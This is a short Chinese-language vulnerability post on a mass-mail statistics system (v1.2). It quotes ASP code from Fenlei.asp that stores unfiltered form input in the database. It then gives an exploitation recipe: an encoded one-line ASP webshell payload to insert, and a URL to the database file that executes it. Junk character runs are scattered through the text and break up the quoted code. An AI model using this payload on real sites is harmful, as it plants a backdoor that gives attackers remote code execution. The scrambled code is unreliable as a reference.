铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp

) ~* C. I3 e5 e+ Q! T  f( RIF Request.QueryString("Action")="del" Then
% B. a7 m6 U1 K0 h7 ]: ^ID=Request.QueryString("ID")
IF Countss ("tui","Fenlei",ID )<>0 then
! c- |$ y0 \& E'略
IF Request.QueryString("Action")="Add" Then
Tname=Request.Form("Typename")
Set Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,3
$ d. ^- [! X! i2 }8 z# L- i5 GRs.Addnew
Rs("Typename")=Tname
'略
Set Rs=Server.CreateObject("adodb.Recordset")
" _1 l5 `8 s6 G, i2 kSql="Select * From Fenlei Order by id Desc "
* ~" l0 @% \! M  l8 uRs.Open Sql,Conn,1,1
'略
$ r2 Q5 [5 {+ |, j9 N, W%>
2 M! e( W- x  ]4 B5 Q$ ?" |* {
* k& h7 t3 y+ o0 u, _/ d
% x+ \& p  _+ a" |! J
没有过滤，直接写入数据库。
; V* |% [. A- a
5 K9 `) y0 d1 n: w2 U6 L利用方法：

1 ]3 }+ o, ^( L) P  O5 {插入：┼攠數畣整爠煥敵瑳∨≡┩>
  `$ q3 {! U/ J

! V7 c2 P+ b' F, p: z连接： http://www.xxx.com/###tongbaner.asa
6 x. M0 A+ s4 B; |5 W'默认安装文件：
'install.asp